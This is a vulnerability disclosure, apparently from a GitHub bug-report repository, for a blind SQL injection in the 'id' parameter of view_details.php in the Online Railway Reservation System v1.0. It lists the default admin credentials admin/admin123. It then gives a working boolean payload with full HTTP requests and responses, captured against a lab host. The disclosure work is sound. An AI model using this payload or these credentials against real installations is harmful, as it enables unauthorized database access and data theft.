

main

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bug_report / vendors / oretnom23 / online-railway-reservation-system / SQLi-1.md



debug601 Create SQLi-1.md

History

1 contributor

35 lines (24 sloc) | 1.51 KB

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Online Railway Reservation System v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html>

Vulnerability File: /orrs/admin/reservations/view_details.php?id=

Vulnerability location: /orrs/admin/reservations/view_details.php?id=, id

Current database name: orrs_db,length is 7

[+] Payload: /orrs/admin/reservations/view_details.php?id=8%20and%20length(database())=7 // Leak place ---> id

```
GET /orrs/admin/reservations/view_details.php?id=8%20and%20length(database())=7 HTTP
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

Cookie: PHPSESSID=hea24clorqs9kplqalqihp0ik4

Connection: close

When length (database ()) = 6, Content-Length: 1943

<pre>GET /orrs/admin/reservations/view_details.php?id=8%20and%20length(database())=6 HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=hea24clorqs9kplqalqihp0ik4 Connection: close</pre>	<pre>HTTP/1.1 200 OK Date: Tue, 07 Jun 2022 08:17:09 GMT Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7 X-Powered-By: PHP/8.0.7 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Content-Length: 1943 Connection: close Content-Type: text/html; charset=UTF-8 <script> alert("Unkown Reservation ID(s).");location.replace("./?page=schedules") </script><style> #uni_modal .modal-footer{ display:none;</pre>
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Load URL

Split URL ☐ Execute ☐

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64

Unkown Reservation ID(s).

确定

When length (database ()) = 7, Content-Length: 4116

<pre>GET /orrs/admin/reservations/view_details.php?id=8%20and%20length(database())=7 HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=hea24clorqs9kplqalqihp0ik4 Connection: close</pre>	<pre>HTTP/1.1 200 OK Date: Tue, 07 Jun 2022 08:15:54 GMT Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7 X-Powered-By: PHP/8.0.7 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Content-Length: 4116 Connection: close Content-Type: text/html; charset=UTF-8 <style> #uni_modal .modal-footer{ display:none; }</pre>
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Load URL

Split URL

Execute

http://192.168.1.19/orrs/admin/reservations/view_details.php?id=8 and length(database())=7

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert replacing string

☒ Replace All



Online Railway Reservation System - PHP

Travel Ticket

Schedule Code:

202201-0001

Train:

TIR-1001 - Train 101

Schedule:

Jan 07, 2022 07:00 AM

Seat #:

FC-001

Group:

First Class

Passenger Name:

SMITH, JOHN D